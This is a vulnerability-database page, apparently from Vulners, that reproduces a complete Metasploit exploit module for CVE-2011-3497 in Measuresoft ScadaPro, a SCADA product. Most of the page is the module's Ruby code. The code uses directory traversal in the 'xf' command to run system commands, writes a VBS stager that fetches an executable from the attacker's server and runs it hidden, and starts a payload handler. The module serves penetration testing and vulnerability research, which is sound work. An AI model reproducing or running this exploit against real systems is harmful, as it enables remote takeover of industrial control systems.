Lucene search
+L

Measuresoft ScadaPro Remote Command Execution

🗓️ 16 Sep 2011 00:00:00Reported by Luigi Auriemma, mr_me <[email protected]>, TecR0c <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 69 Views

Measuresoft ScadaPro Remote Command Execution module allows remote attackers to execute arbitrary commands via Directory Traversal attack, abuse 'xf' command to gain remote code execution on affected system

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2011-3497
29 May 201815:50
–circl
checkpoint_advisories
Check Point Advisories
Measuresoft ScadaPro Multiple Command Directory Traversal Code Execution (CVE-2011-3497)
1 Sep 201300:00
–checkpoint_advisories
cve
CVE
CVE-2011-3497
16 Sep 201117:00
–cve
cvelist
Cvelist
CVE-2011-3497
16 Sep 201117:00
–cvelist
exploitdb
Exploit DB
Measuresoft ScadaPro 4.0.0 - Multiple Vulnerabilities
14 Sep 201100:00
–exploitdb
nvd
NVD
CVE-2011-3497
16 Sep 201117:26
–nvd
openvas
OpenVAS
Measuresoft ScadaPro Multiple Security Vulnerabilities
19 Dec 201200:00
–openvas
prion
Prion
Design/Logic Flaw
16 Sep 201117:26
–prion
ptsecurity
Positive Technologies
PT-2011-4478
16 Sep 201100:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2011-3497: Exposure of Sensitive Information to an Unauthorized Actor
16 Sep 201100:00
–rapid7
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Measuresoft ScadaPro Remote Command Execution',
        'Description' => %q{
          This module allows remote attackers to execute arbitrary commands on the
          affected system by abusing via Directory Traversal attack when using the
          'xf' command (execute function). An attacker can execute system() from
          msvcrt.dll to upload a backdoor and gain remote code execution. This
          vulnerability affects version 4.0.0 and earlier.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Luigi Auriemma', # Initial discovery/poc
          'mr_me <steventhomasseeley[at]gmail.com>',  # msf
          'TecR0c <tecr0c[at]tecninja.net>',          # msf
        ],
        'References' => [
          [ 'CVE', '2011-3497'],
          [ 'OSVDB', '75490'],
          [ 'BID', '49613'],
          [ 'URL', 'http://aluigi.altervista.org/adv/scadapro_1-adv.txt'],
          [ 'URL', 'http://us-cert.gov/control_systems/pdf/ICS-ALERT-11-256-04.pdf'],
          # seemed pretty accurate to us ;)
          [ 'URL', 'http://www.measuresoft.net/news/post/Inaccurate-Reports-of-Measuresoft-ScadaPro-400-Vulnerability.aspx'],
        ],
        'DefaultOptions' => {
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
        'Platform' => 'win',
        'Targets' => [
          # truly universal
          [ 'Automatic', {} ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2011-09-16',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(11234),
        OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
      ]
    )
  end

  # couldn't generate a vbs or exe payload and then use the wF command
  # as there is a limit to the amount of data to write to disk.
  # so we just write out a vbs script like the old days.

  def build_vbs(url, stager_name)
    name_xmlhttp = rand_text_alpha(2)
    name_adodb = rand_text_alpha(2)

    tmp = "#{@temp_folder}/#{stager_name}"

    vbs = "echo Set #{name_xmlhttp} = CreateObject(\"Microsoft.XMLHTTP\") "
    vbs << ": #{name_xmlhttp}.open \"GET\",\"#{url}\",False : #{name_xmlhttp}.send"
    vbs << ": Set #{name_adodb} = CreateObject(\"ADODB.Stream\") "
    vbs << ": #{name_adodb}.Open : #{name_adodb}.Type=1 "
    vbs << ": #{name_adodb}.Write #{name_xmlhttp}.responseBody "
    vbs << ": #{name_adodb}.SaveToFile \"#{@temp_folder}/#{@payload_name}.exe\",2 "
    vbs << ": CreateObject(\"WScript.Shell\").Run \"#{@temp_folder}/#{@payload_name}.exe\",0 >> #{tmp}"

    return vbs
  end

  def on_request_uri(cli, request)
    if request.uri =~ /\.exe/
      print_status("Sending 2nd stage payload")
      return if ((p = regenerate_payload(cli)) == nil)

      data = generate_payload_exe({ :code => p.encoded })
      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
      return
    end
  end

  def exploit
    # In order to save binary data to the file system the payload is written to a .vbs
    # file and execute it from there.
    @payload_name = rand_text_alpha(4)
    @temp_folder = "C:/Windows/Temp"

    payload_src = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}/"
    payload_src << datastore['URIPATH'].delete_prefix('/')
    payload_src << '/' unless payload_src.end_with?('/')
    payload_src << "#{@payload_name}.exe"

    stager_name = rand_text_alpha(6) + ".vbs"
    stager = build_vbs(payload_src, stager_name)

    path = "..\\..\\..\\..\\..\\windows\\system32"

    createvbs = "xf%#{path}\\msvcrt.dll,system,cmd /c #{stager}\r\n"
    download_execute = "xf%#{path}\\msvcrt.dll,system,start #{@temp_folder}/#{stager_name}\r\n"

    print_status("Sending 1st stage payload...")

    connect
    sock.get_once()
    sock.put(createvbs)
    sock.get_once()
    sock.put(download_execute)
    handler()
    disconnect

    super
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation